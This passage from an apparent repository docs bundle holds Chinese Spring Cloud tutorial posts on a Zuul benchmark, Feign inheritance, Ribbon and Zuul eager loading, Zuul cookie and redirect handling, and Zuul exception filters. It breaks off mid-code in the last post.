main(String[] args) {\n        new SpringApplicationBuilder(DemoApplication.class)\n            .web(true).run(args);\n    }\n}\n```\n\n我们还需要在 `application.yml`中定义固定的路由规则：\n\n```\nzuul:\n  routes:\n    sodik:\n      path: /sodik/**\n      url: http://target\n```\n\n现在我们试试运行测试：\n\n```\n$ ab -n 50000 -c 200 http://proxy:8080/sodik/sample.html\n\nServer Software: Apache-Coyote/1.1\nServer Hostname: proxy\nServer Port: 8080\n\nDocument Path: /sodik/sample.html\nDocument Length: 26650 bytes\n\nConcurrency Level: 200\nTime taken for tests: 136.164 seconds\nComplete requests: 50000\nFailed requests: 2\n(Connect: 0, Receive: 0, Length: 2, Exceptions: 0)\nNon-2xx responses: 2\nTotal transferred: 1343497042 bytes\nHTML transferred: 1332447082 bytes\nRequests per second: 367.20 [#/sec] (mean)\nTime per request: 544.657 [ms] (mean)\nTime per request: 2.723 [ms] (mean, across all concurrent requests)\nTransfer rate: 9635.48 [Kbytes/sec] received\n\nConnection Times (ms)\nmin mean[+/-sd] median max\nConnect: 2 12 92.3 2 1010\nProcessing: 15 532 321.6 461 10250\nWaiting: 10 505 297.2 441 9851\nTotal: 17 544 333.1 467 10270\n\nPercentage of the requests served within a certain time (ms)\n50% 467\n66% 553\n75% 626\n80% 684\n90% 896\n95% 1163\n98% 1531\n99% 1864\n100% 10270 (longest request)\n```\n\n结果比我（乐观的）猜测更差。此外，我们还能看到两次请求失败（我们可以在Zuul的日志中看到有两个相应的异常，这些异常引发了HTTP连接池超时）。显然默认情况下超时时间为10秒。\n\n我们再进一步测试，得到了更多的结果：\n\n```\nDocument Path: /sodik/sample.html\nDocument Length: 26650 bytes\n\nConcurrency Level: 200\nTime taken for tests: 50.080 seconds\nComplete requests: 50000\nFailed requests: 0\nTotal transferred: 1343550000 bytes\nHTML transferred: 1332500000 bytes\nRequests per second: 998.39 [#/sec] (mean)\nTime per request: 200.322 [ms] (mean)\nTime per request: 1.002 [ms] (mean, across all concurrent requests)\nTransfer rate: 26199.09 [Kbytes/sec] received\n\nConnection Times (ms)\nmin mean[+/-sd] median max\nConnect: 2 16 7.9 16 126\nProcessing: 15 184 108.1 203 1943\nWaiting: 13 183 105.9 202 1934\nTotal: 18 200 107.8 218 1983\n\nPercentage of the requests served within a certain time (ms)\n50% 218\n66% 228\n75% 235\n80% 239\n90% 254\n95% 287\n98% 405\n99% 450\n100% 1983 (longest request)\n```\n\n哇，不错的改善。我认为Java JIT编译对于性能有一定的帮助，但是要验证这是否只是一个巧合，再尝试一次：1010 req / sec。最终结果对我来说是一个惊喜。\n\n## 结论\n\nZuul的原始性能非常接近于Nginx。事实上，在启动预热之后，我的测试结果甚至略好一些（重申免责声明-这并非一个严肃的基准性能测试）。Nginx显示出更多的可预测性能（变化较小），可悲的是在Zuul预热期间，我们经历了一些小故障（150000个请求中的2个，但是您的微服务应该是容错机制的，对吧？）。\n\n所以，如果您考虑使用一些Zuul的额外功能，或者希望通过它与其他Netflix服务集成（比如Eureka）获得更多的服务能力，Zuul看起来非常有希望作为简单反向代理的替代产品。也许这也是Netflix使用的原因，所以您也可以尝试一下。"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud实战小贴士：Feign的继承特性(伪RPC模式).md",
    "content": "# Spring Cloud实战小贴士：Feign的继承特性(伪RPC模式)\n\n**原创**\n\n [2017-08-08](https://blog.didispace.com/spring-cloud-tips-feign-rpc/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n> 通过之前发布的[《Spring Cloud构建微服务架构：服务消费者（Feign）》](http://blog.didispace.com/spring-cloud-starter-dalston-2-3/)，我们已经学会如何使用Spring MVC的注解来绑定服务接口。我们几乎完全可以从服务提供方的Controller中依靠复制操作，来构建出相应的服务接口客户端，或是通过Swagger生成的API文档来编写出客户端，亦或是通过Swagger的代码生成器来生成客户端绑定。即便如此，有很多的方式来产生Feign的客户端程序，依然有很多开发者热衷于利用公共的依赖接口来连接服务提供者和服务消费者的方式。由此，Feign的继承特性就能很好的派上用处。下面，我们来详细看看如何使用Spring Cloud Feign的继承特性。\n\n## 动手试一试\n\n接下来的示例将分为三个模块：\n\n- 服务接口定义模块：通过Spring MVC注解定义抽象的interface服务接口\n- 服务接口实现模块：实现服务接口定义模块的interface，该模块作为服务提供者注册到eureka\n- 服务接口消费模块：服务接口定义模块的客户端实现，该模块通过注册到eureka来消费服务接口\n\n### 服务接口的定义\n\n- 创建一个Spring Boot项目：eureka-feign-api，`pom.xml`的主要内容如下：\n\n```\n<parent>\n\t<groupId>org.springframework.boot</groupId>\n\t<artifactId>spring-boot-starter-parent</artifactId>\n\t<version>1.5.6.RELEASE</version>\n\t<relativePath/>\n</parent>\n\n<dependencies>\n\t<dependency>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t</dependency>\n</dependencies>\n\n<dependencyManagement>\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.cloud</groupId>\n\t\t\t<artifactId>spring-cloud-dependencies</artifactId>\n\t\t\t<version>Dalston.SR2</version>\n\t\t\t<type>pom</type>\n\t\t\t<scope>import</scope>\n\t\t</dependency>\n\t</dependencies>\n</dependencyManagement>\n```\n\n- 使用Spring MVC注解来定义服务接口：\n\n```\npublic interface HelloService {\n\n    @GetMapping(\"/hello\")\n    String hello(@RequestParam(value = \"name\") String name);\n\n}\n```\n\n- 完成了上述构建之后，我们使用`mvn install`将该模块构建到本地的Maven仓库中。\n\n### 服务接口的实现\n\n- 创建一个Spring Boot项目：eureka-feign-client，`pom.xml`的主要内容如下：\n\n```\n<parent>\n\t<groupId>org.springframework.boot</groupId>\n\t<artifactId>spring-boot-starter-parent</artifactId>\n\t<version>1.5.6.RELEASE</version>\n\t<relativePath/>\n</parent>\n\n<dependencies>\n\t<dependency>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t</dependency>\n\t<dependency>\n\t\t<groupId>org.springframework.cloud</groupId>\n\t\t<artifactId>spring-cloud-starter-eureka</artifactId>\n\t</dependency>\n\t<dependency>\n\t\t<groupId>com.didispace</groupId>\n\t\t<artifactId>eureka-feign-api</artifactId>\n\t\t<version>1.0.0</version>\n\t</dependency>\n</dependencies>\n\n<dependencyManagement>\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.cloud</groupId>\n\t\t\t<artifactId>spring-cloud-dependencies</artifactId>\n\t\t\t<version>Dalston.SR2</version>\n\t\t\t<type>pom</type>\n\t\t\t<scope>import</scope>\n\t\t</dependency>\n\t</dependencies>\n</dependencyManagement>\n```\n\n该模块需要依赖上面定义的`eureka-feign-api`，将使用上述定义的`HelloService`接口来实现对应的REST服务。同时依赖Eureka是为了将该服务注册到Eureka上供服务消费者发现。\n\n- 创建应用主类。使用`@EnableDiscoveryClient`注解开启服务注册与发现，并实现`HelloService`接口的REST服务：\n\n```\n@EnableDiscoveryClient\n@SpringBootApplication\npublic class Application {\n\n\t@RestController\n\tclass HelloController implements HelloService {\n\t\t@Override\n\t\tpublic String hello(String name) {\n\t\t\treturn \"hello \" + name;\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tnew SpringApplicationBuilder(Application.class).web(true).run(args);\n\t}\n\n}\n```\n\n- 编辑`application.properties`配置内容：\n\n```\nspring.application.name=eureka-feign-client\nserver.port=2101\n\neureka.client.serviceUrl.defaultZone=http://eureka.didispace.com/eureka/\n```\n\n配置了服务提供者的名称`eureka-feign-client`，服务提供者的端口号`2101`，并将该服务注册到我的公益Eureka注册中心上。启动该项目，我们可以通过访问：http://eureka.didispace.com/ ，在该页面中找到它。\n\n### 服务接口的消费\n\n- 创建一个Spring Boot项目：eureka-feign-consumer，`pom.xml`的主要内容如下：\n\n```\n<parent>\n\t<groupId>org.springframework.boot</groupId>\n\t<artifactId>spring-boot-starter-parent</artifactId>\n\t<version>1.5.6.RELEASE</version>\n\t<relativePath/>\n</parent>\n\n<dependencies>\n\t<dependency>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t</dependency>\n\t<dependency>\n\t\t<groupId>org.springframework.cloud</groupId>\n\t\t<artifactId>spring-cloud-starter-eureka</artifactId>\n\t</dependency>\n\t<dependency>\n\t\t<groupId>org.springframework.cloud</groupId>\n\t\t<artifactId>spring-cloud-starter-feign</artifactId>\n\t</dependency>\n\t<dependency>\n\t\t<groupId>com.didispace</groupId>\n\t\t<artifactId>eureka-feign-api</artifactId>\n\t\t<version>1.0.0</version>\n\t</dependency>\n</dependencies>\n\n<dependencyManagement>\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.cloud</groupId>\n\t\t\t<artifactId>spring-cloud-dependencies</artifactId>\n\t\t\t<version>Dalston.SR2</version>\n\t\t\t<type>pom</type>\n\t\t\t<scope>import</scope>\n\t\t</dependency>\n\t</dependencies>\n</dependencyManagement>\n```\n\n该模块较服务提供者的依赖增加了Feign的依赖，因为这里将使用Feign来绑定服务接口的客户端。下面我们将使用Feign的继承特性来轻松的构建Feign客户端。\n\n- 创建应用主类。使用`@EnableDiscoveryClient`注解开启服务注册与发现，并通过`@FeignClient`注解来声明服务绑定客户端：\n\n```\n@EnableFeignClients\n@EnableDiscoveryClient\n@SpringBootApplication\npublic class Application {\n\n\t@FeignClient(\"eureka-feign-client\")\n\tinterface HelloServiceClient extends HelloService {\n\t}\n\n\t@RestController\n\tclass TestController {\n\t\t@Autowired\n\t\tprivate HelloServiceClient helloServiceClient;\n\t\t@GetMapping(\"/test\")\n\t\tpublic String test(String name) {\n\t\t\treturn helloServiceClient.hello(name);\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tnew SpringApplicationBuilder(Application.class).web(true).run(args);\n\t}\n}\n```\n\n从上述代码中我们可以看到，利用Feign的继承特性，`@FeignClient`注解只需要通过声明一个接口来继承在API模块中定义的公共interface就能产生服务接口的Feign客户端了。而`@FeignClient`中的值需要填写该服务的具体服务名（服务提供者的`spring.application.name`配置值）。\n\n- 编辑服务消费者的`application.properties`配置内容，将服务消费者注册到eureka上来消费服务：\n\n```\nspring.application.name=eureka-feign-consumer\nserver.port=2102\n\neureka.client.serviceUrl.defaultZone=http://eureka.didispace.com/eureka/\n```\n\n- 启动`eureka-feign-consumer`之后，我们可以通过访问：http://localhost:2102/test ，来实验`eureka-feign-consumer`对`eureka-feign-client`接口的调用。\n\n## 本文示例\n\n- [码云](https://gitee.com/didispace/SpringCloud-Learning/tree/master/2-Dalston版教程示例)\n- [GitHub](https://github.com/dyc87112/SpringCloud-Learning/tree/master/2-Dalston版教程示例)"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud实战小贴士：Ribbon的饥饿加载(eager-load)模式.md",
    "content": "# Spring Cloud实战小贴士：Ribbon的饥饿加载(eager-load)模式\n\n**原创**\n\n [2017-09-25](https://blog.didispace.com/spring-cloud-tips-ribbon-eager/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n> 我们在使用Spring Cloud的Ribbon或Feign来实现服务调用的时候，如果我们的机器或网络环境等原因不是很好的话，有时候会发现这样一个问题：我们服务消费方调用服务提供方接口的时候，第一次请求经常会超时，而之后的调用就没有问题了。下面我们就来说说造成这个问题的原因，以及如何解决的方法。\n\n## 问题原因\n\n造成第一次服务调用出现失败的原因主要是Ribbon进行客户端负载均衡的Client并不是在服务启动的时候就初始化好的，而是在调用的时候才会去创建相应的Client，所以第一次调用的耗时不仅仅包含发送HTTP请求的时间，还包含了创建RibbonClient的时间，这样一来如果创建时间速度较慢，同时设置的超时时间又比较短的话，很容易就会出现上面所描述的显现。\n\n从日志中我们也能知道这一点细节，在第一次发起调用的时候我们可以从日志中看到如下信息：\n\n```\n2017-09-25 08:29:54,201 INFO  [main] com.netflix.loadbalancer.DynamicServerListLoadBalancer - DynamicServerListLoadBalancer for client hello-service initialized: DynamicServerListLoadBalancer:{NFLoadBalancer:name=hello-service,current list of Servers=[192.168.99.176:9901],Load balancer stats=Zone stats: {unknown=[Zone:unknown;\tInstance count:1;\tActive connections count: 0;\tCircuit breaker tripped count: 0;\tActive connections per server: 0.0;]\n},Server stats: [[Server:192.168.99.176:9901;\tZone:UNKNOWN;\tTotal Requests:0;\tSuccessive connection failure:0;\tTotal blackout seconds:0;\tLast connection made:Thu Jan 01 08:00:00 CST 1970;\tFirst connection made: Thu Jan 01 08:00:00 CST 1970;\tActive Connections:0;\ttotal failure count in last (1000) msecs:0;\taverage resp time:0.0;\t90 percentile resp time:0.0;\t95 percentile resp time:0.0;\tmin resp time:0.0;\tmax resp time:0.0;\tstddev resp time:0.0]\n]}ServerList:ConsulServerList{serviceId='hello-service', tag=null}\n```\n\n而Feign的实现基于Ribbon，所以它也有一样的问题，下面就来看看如何解决这个问题。\n\n## 解决方法\n\n解决的方法很简单，既然第一次调用时候产生RibbonClient耗时，那么就让它提前创建，而不是在第一次调用的时候创建。\n\n在Spring Cloud的Dlaston版本中提供了几个新的参数，它们可以很方便的帮我们实现这样的功能。\n\n```\nribbon.eager-load.enabled=true\nribbon.eager-load.clients=hello-service, user-service\n```\n\n参数说明：\n\n- ribbon.eager-load.enabled：开启Ribbon的饥饿加载模式\n- ribbon.eager-load.clients：指定需要饥饿加载的客户端名称、服务名\n\n通过上面的配置完成之后，我们尝试重启一下服务消费者，这个时候我们会发现，我们没有开始调用服务接口，但是上面初始化负载均衡的日志就已经打印出来了。这就说明我们对ribbon的饥饿加载模块设置已经生效了。"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud实战小贴士：Zuul处理Cookie和重定向.md",
    "content": "# Spring Cloud实战小贴士：Zuul处理Cookie和重定向\n\n**原创**\n\n [2017-05-01](https://blog.didispace.com/spring-cloud-zuul-cookie-redirect/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n由于我们在之前所有的入门教程中，对于HTTP请求都采用了简单的接口实现。而实际使用过程中，我们的HTTP请求要复杂的多，比如当我们将Spring Cloud Zuul作为API网关接入网站类应用时，往往都会碰到下面这两个非常常见的问题：\n\n- 会话无法保持\n- 重定向后的HOST错误\n\n本文将帮助大家分析问题原因并给出解决这两个常见问题的方法。\n\n## 会话保持问题\n\n通过跟踪一个HTTP请求经过Zuul到具体服务，再到返回结果的全过程。我们很容易就能发现，在传递的过程中，HTTP请求头信息中的Cookie和Authorization都没有被正确地传递给具体服务，所以最终导致会话状态没有得到保持的现象。\n\n那么这些信息是在哪里丢失的呢？我们从Zuul进行路由转发的过滤器作为起点，来一探究竟。下面是`RibbonRoutingFilter`过滤器的实现片段：\n\n```\npublic class RibbonRoutingFilter extends ZuulFilter {\n\t...\n\tprotected ProxyRequestHelper helper;\n\t\n\t@Override\n\tpublic Object run() {\n\t\tRequestContext context = RequestContext.getCurrentContext();\n\t\tthis.helper.addIgnoredHeaders();\n\t\ttry {\n\t\t\tRibbonCommandContext commandContext = buildCommandContext(context);\n\t\t\tClientHttpResponse response = forward(commandContext);\n\t\t\tsetResponse(response);\n\t\t\treturn response;\n\t\t}\n\t\t...\n\t\treturn null;\n\t}\n\t\n\t\tprotected RibbonCommandContext buildCommandContext(RequestContext context) {\n\t\tHttpServletRequest request = context.getRequest();\n\n\t\tMultiValueMap<String, String> headers = this.helper\n\t\t\t\t.buildZuulRequestHeaders(request);\n\t\tMultiValueMap<String, String> params = this.helper\n\t\t\t\t.buildZuulRequestQueryParams(request);\n\t\t...\n\t}\n}\n```\n\n这里有三个重要元素：\n\n- 过滤器的核心逻辑`run`函数实现，其中调用了内部函数`buildCommandContext`来构建上下文内容\n- 而`buildCommandContext`中调用了`helper`对象的`buildZuulRequestHeaders`方法来处理请求头信息\n- `helper`对象是`ProxyRequestHelper`类的实例\n\n接下来我们再看看`ProxyRequestHelper`的实现：\n\n```\npublic class ProxyRequestHelper {\n\n\tpublic MultiValueMap<String, String> buildZuulRequestHeaders(\n\t\t\tHttpServletRequest request) {\n\t\tRequestContext context = RequestContext.getCurrentContext();\n\t\tMultiValueMap<String, String> headers = new HttpHeaders();\n\t\tEnumeration<String> headerNames = request.getHeaderNames();\n\t\tif (headerNames != null) {\n\t\t\twhile (headerNames.hasMoreElements()) {\n\t\t\t\tString name = headerNames.nextElement();\n\t\t\t\tif (isIncludedHeader(name)) {\n\t\t\t\t\tEnumeration<String> values = request.getHeaders(name);\n\t\t\t\t\twhile (values.hasMoreElements()) {\n\t\t\t\t\t\tString value = values.nextElement();\n\t\t\t\t\t\theaders.add(name, value);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tMap<String, String> zuulRequestHeaders = context.getZuulRequestHeaders();\n\t\tfor (String header : zuulRequestHeaders.keySet()) {\n\t\t\theaders.set(header, zuulRequestHeaders.get(header));\n\t\t}\n\t\theaders.set(HttpHeaders.ACCEPT_ENCODING, \"gzip\");\n\t\treturn headers;\n\t}\n\n\tpublic boolean isIncludedHeader(String headerName) {\n\t\tString name = headerName.toLowerCase();\n\t\tRequestContext ctx = RequestContext.getCurrentContext();\n\t\tif (ctx.containsKey(IGNORED_HEADERS)) {\n\t\t\tObject object = ctx.get(IGNORED_HEADERS);\n\t\t\tif (object instanceof Collection && ((Collection<?>) object).contains(name)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\t...\n\t}\n}\n```\n\n从上述源码中，我们可以看到构建头信息的方法`buildZuulRequestHeaders`通过`isIncludedHeader`函数来判断当前请求的各个头信息是否在忽略的头信息清单中，如果是的话就不组织到此次转发的请求中去。那么这些需要忽略的头信息是在哪里初始化的呢？在PRE阶段的PreDecorationFilter过滤器中，我们可以找到答案：\n\n```\npublic class PreDecorationFilter extends ZuulFilter {\n\t...\n\tpublic Object run() {\n\t\tRequestContext ctx = RequestContext.getCurrentContext();\n\t\tfinal String requestURI = this.urlPathHelper.getPathWithinApplication(ctx.getRequest());\n\t\tRoute route = this.routeLocator.getMatchingRoute(requestURI);\n\t\tif (route != null) {\n\t\t\tString location = route.getLocation();\n\t\t\tif (location != null) {\n\t\t\t\tctx.put(\"requestURI\", route.getPath());\n\t\t\t\tctx.put(\"proxy\", route.getId());\n              \t // 处理忽略头信息的部分\n\t\t\t\tif (!route.isCustomSensitiveHeaders()) {\n\t\t\t\t\tthis.proxyRequestHelper.addIgnoredHeaders(\n\t\t\t\t\t\tthis.properties.getSensitiveHeaders()\n\t\t\t\t\t\t.toArray(new String[0]));\n\t\t\t\t} else {\n\t\t\t\t\tthis.proxyRequestHelper.addIgnoredHeaders(\n\t\t\t\t\t\troute.getSensitiveHeaders()\n\t\t\t\t\t\t.toArray(new String[0]));\n\t\t\t\t}\n\t\t...\n}\n```\n\n从上述源码中，我们可以看到有一段if/else块，通过调用`ProxyRequestHelper`的`addIgnoredHeaders`方法来添加需要忽略的信息到请求上下文中，供后续ROUTE阶段的过滤器使用。这里的if/else块分别用来处理全局设置的敏感头信息和指定路由设置的敏感头信息。而全局的敏感头信息定义于`ZuulProperties`中：\n\n```\n@Data\n@ConfigurationProperties(\"zuul\")\npublic class ZuulProperties {\n\tprivate Set<String> sensitiveHeaders = new LinkedHashSet<>(\n\t\t\tArrays.asList(\"Cookie\", \"Set-Cookie\", \"Authorization\"));\n\t...\n}\n```\n\n所以解决该问题的思路也很简单，我们只需要通过设置sensitiveHeaders即可，设置方法分为两种：\n\n- 全局设置：\n  - `zuul.sensitive-headers=`\n- 指定路由设置：\n  - `zuul.routes..sensitive-headers=`\n  - `zuul.routes..custom-sensitive-headers=true`\n\n## 重定向问题\n\n在使用Spring Cloud Zuul对接Web网站的时候，处理完了会话控制问题之后。往往我们还会碰到如下图所示的问题，我们在浏览器中通过Zuul发起了登录请求，该请求会被路由到某WebSite服务，该服务在完成了登录处理之后，会进行重定向到某个主页或欢迎页面。此时，仔细的开发者会发现，在登录完成之后，我们浏览器中URL的HOST部分发生的改变，该地址变成了具体WebSite服务的地址了。这就是在这一节，我们将分析和解决的重定向问题！\n\n[![img](https://blog.didispace.com/assets/zuul-redirect.png)](https://blog.didispace.com/assets/zuul-redirect.png)\n\n出现该问题的根源是Spring Cloud Zuul没有正确的处理HTTP请求头信息中的Host导致。在Brixton版本中，Spring Cloud Zuul的`PreDecorationFilter`过滤器实现时完全没有考虑这一问题，它更多的定位于REST API的网关。所以如果要在Brixton版本中增加这一特性就相对较为复杂，不过好在Camden版本之后，Spring Cloud Netflix 1.2.x版本的Zuul增强了该功能，我们只需要通过配置属性`zuul.add-host-header=true`就能让原本有问题的重定向操作得到正确的处理。关于更多Host头信息的处理，读者可以参考本文之前的分析思路，可以通过查看`PreDecorationFilter`过滤器的源码来详细更多实现细节。"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud实战小贴士：Zuul的饥饿加载（eager-load）使用.md",
    "content": "# Spring Cloud实战小贴士：Zuul的饥饿加载（eager-load）使用\n\n**原创**\n\n [2017-09-28](https://blog.didispace.com/spring-cloud-tips-zuul-eager/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n> [上一篇](http://blog.didispace.com/spring-cloud-tips-ribbon-eager/)我们介绍了如何使用Ribbon的`earger-load`配置加速Spring Cloud中对服务接口的第一次调用。可是这样只是解决了内部服务间的调用，另外一个问题依然经常困扰我们，那就是网关到内部服务的访问。由于Spring Cloud Zuul的路由转发也是通过Ribbon实现负载均衡的，所以它也会存在第一次调时比较慢的情况。那么这个时候我们要如何设置呢？\n\n## Zuul中的Eager Load配置\n\n在Spring Cloud Zuul中也提供了一个配置参数来实现earger-load，具体如下：\n\n```\nzuul.ribbon.eager-load.enabled=true\n```\n\n但是，可能你尝试一下之后会发现，并没有起效？为什么呢？这是由于Spring Cloud Zuul中实现eager-load的时候同Ribbon中一样，都需要指定具体哪些服务需要饥饿加载。那么在Spring Cloud Zuul中如何具体指定呢？\n\n在Spring Cloud Zuul的饥饿加载中没有设计专门的参数来配置，而是直接采用了读取路由配置来进行饥饿加载的做法。所以，如果我们使用默认路由，而没有通过配置的方式指定具体路由规则，那么`zuul.ribbon.eager-load.enabled=true`的配置就没有什么作用了。\n\n因此，在真正使用的时候，我们可以通过`zuul.ignored-services=*`来忽略所有的默认路由，让所有路由配置均维护在配置文件中，以达到网关启动的时候就默认初始化好各个路由转发的负载均衡对象。"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud实战小贴士：Zuul统一异常处理（一）.md",
    "content": "# Spring Cloud实战小贴士：Zuul统一异常处理（一）\n\n**原创**\n\n [2017-05-14](https://blog.didispace.com/spring-cloud-zuul-exception/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n在上一篇[《Spring Cloud源码分析（四）Zuul：核心过滤器》](http://blog.didispace.com/spring-cloud-source-zuul/)一文中，我们详细介绍了Spring Cloud Zuul中自己实现的一些核心过滤器，以及这些过滤器在请求生命周期中的不同作用。我们会发现在这些核心过滤器中并没有实现error阶段的过滤器。那么这些过滤器可以用来做什么呢？接下来，本文将介绍如何利用error过滤器来实现统一的异常处理。\n\n## 过滤器中抛出异常的问题\n\n首先，我们可以来看看默认情况下，过滤器中抛出异常Spring Cloud Zuul会发生什么现象。我们创建一个pre类型的过滤器，并在该过滤器的run方法实现中抛出一个异常。比如下面的实现，在run方法中调用的`doSomething`方法将抛出`RuntimeException`异常。\n\n```\npublic class ThrowExceptionFilter extends ZuulFilter  {\n\n    private static Logger log = LoggerFactory.getLogger(ThrowExceptionFilter.class);\n\n    @Override\n    public String filterType() {\n        return \"pre\";\n    }\n\n    @Override\n    public int filterOrder() {\n        return 0;\n    }\n\n    @Override\n    public boolean shouldFilter() {\n        return true;\n    }\n\n    @Override\n    public Object run() {\n        log.info(\"This is a pre filter, it will throw a RuntimeException\");\n        doSomething();\n        return null;\n    }\n\n    private void doSomething() {\n        throw new RuntimeException(\"Exist some errors...\");\n    }\n  \n}\n```\n\n运行网关程序并访问某个路由请求，此时我们会发现：在API网关服务的控制台中输出了`ThrowExceptionFilter`的过滤逻辑中的日志信息，但是并没有输出任何异常信息，同时发起的请求也没有获得任何响应结果。为什么会出现这样的情况呢？我们又该如何在过滤器中处理异常呢？\n\n## 解决方案一：严格的try-catch处理\n\n回想一下，我们在上一节中介绍的所有核心过滤器，是否还记得有一个`post`过滤器`SendErrorFilter`是用来处理异常信息的？根据正常的处理流程，该过滤器会处理异常信息，那么这里没有出现任何异常信息说明很有可能就是这个过滤器没有被执行。所以，我们不妨来详细看看`SendErrorFilter`的`shouldFilter`函数：\n\n```\npublic boolean shouldFilter() {\n\tRequestContext ctx = RequestContext.getCurrentContext();\n\treturn ctx.containsKey(\"error.status_code\") && !ctx.getBoolean(SEND_ERROR_FILTER_RAN, false);\n}\n```\n\n可以看到该方法的返回值中有一个重要的判断依据`ctx.containsKey(\"error.status_code\")`，也就是说请求上下文中必须有`error.status_code`参数，我们实现的`ThrowExceptionFilter`中并没有设置这个参数，所以自然不会进入`SendErrorFilter`过滤器的处理逻辑。那么我们要如何用这个参数呢？我们可以看一下`route`类型的几个过滤器，由于这些过滤器会对外发起请求，所以肯定会有异常需要处理，比如`RibbonRoutingFilter`的`run`方法实现如下：\n\n```\npublic Object run() {\n\tRequestContext context = RequestContext.getCurrentContext();\n\tthis.helper.addIgnoredHeaders();\n\ttry {\n\t\tRibbonCommandContext commandContext = buildCommandContext(context);\n\t\tClientHttpResponse response = forward(commandContext);\n\t\tsetResponse(response);\n\t\treturn response;\n\t}\n\tcatch (ZuulException ex) {\n\t\tcontext.set(ERROR_STATUS_CODE, ex.nStatusCode);\n\t\tcontext.set(\"error.message\", ex.errorCause);\n\t\tcontext.set(\"error.exception\", ex);\n\t}\n\tcatch (Exception ex) {\n\t\tcontext.set(\"error.status_code\", HttpServletResponse.SC_INTERNAL_SERVER_ERROR);\n\t\tcontext.set(\"error.exception\", ex);\n\t}\n\treturn null;\n}\n```\n\n可以看到，整个发起请求的逻辑都采用了`try-catch`块处理。在`catch`异常的处理逻辑中并没有做任何输出操作，而是往请求上下文中添加一些`error`相关的参数，主要有下面三个参数：\n\n- `error.status_code`：错误编码\n- `error.exception`：`Exception`异常对象\n- `error.message`：错误信息\n\n其中，`error.status_code`参数就是`SendErrorFilter`过滤器用来判断是否需要执行的重要参数。分析到这里，实现异常处理的大致思路就开始明朗了，我们可以参考`RibbonRoutingFilter`的实现对`ThrowExceptionFilter`的`run`方法做一些异常处理的改造，具体如下：\n\n```\npublic Object run() {\n    log.info(\"This is a pre filter, it will throw a RuntimeException\");\n    RequestContext ctx = RequestContext.getCurrentContext();\n    try {\n        doSomething();\n    } catch (Exception e) {\n        ctx.set(\"error.status_code\", HttpServletResponse.SC_INTERNAL_SERVER_ERROR);\n        ctx.set(\"error.exception\", e);\n    }\n  \treturn null;\n}\n```\n\n通过上面的改造之后，我们再尝试访问之前的接口，这个时候我们可以得到如下响应内容：\n\n```\n{\n  \"timestamp\": 1481674980376,\n  \"status\": 500,\n  \"error\": \"Internal Server Error\",\n  \"exception\": \"java.lang.RuntimeException\",\n  \"message\": \"Exist some errors...\"\n}\n```\n\n此时，我们的异常信息已经被`SendErrorFilter`过滤器正常处理并返回给客户端了，同时在网关的控制台中也输出了异常信息。从返回的响应信息中，我们可以看到几个我们之前设置在请求上下文中的内容，它们的对应关系如下：\n\n- `status`：对应`error.status_code`参数的值\n- `exception`：对应`error.exception`参数中`Exception`的类型\n- `message`：对应`error.exception`参数中`Exception`的`message`信息。对于`message`的信息，我们在过滤器中还可以通过`ctx.set(\"error.message\", \"自定义异常消息\");`来定义更友好的错误信息。`SendErrorFilter`会优先取`error.message`来作为返回的`message`内容，如果没有的话才会使用`Exception`中的`message`信息\n\n## 解决方案二：ErrorFilter处理\n\n通过上面的分析与实验，我们已经知道如何在过滤器中正确的处理异常，让错误信息能够顺利地流转到后续的`SendErrorFilter`过滤器来组织和输出。但是，即使我们不断强调要在过滤器中使用`try-catch`来处理业务逻辑并往请求上下文添加异常信息，但是不可控的人为因素、意料之外的程序因素等，依然会使得一些异常从过滤器中抛出，对于意外抛出的异常又会导致没有控制台输出也没有任何响应信息的情况出现，那么是否有什么好的方法来为这些异常做一个统一的处理呢？\n\n这个时候，我们就可以用到`error`类型的过滤器了。由于在请求生命周期的`pre`、`route`、`post`三个阶段中有异常抛出的时候都会进入`error`阶段的处理，所以我们可以通过创建一个`error`类型的过滤器来捕获这些异常信息，并根据这些异常信息在请求上下文中注入需要返回给客户端的错误描述，这里我们可以直接沿用在`try-catch`处理异常信息时用的那些error参数，这样就可以让这些信息被`SendErrorFilter`捕获并组织成消息响应返回给客户端。比如，下面的代码就实现了这里所描述的一个过滤器：\n\n```\npublic class ErrorFilter extends ZuulFilter {\n\n    Logger log = LoggerFactory.getLogger(ErrorFilter.class);\n\n    @Override\n    public String filterType() 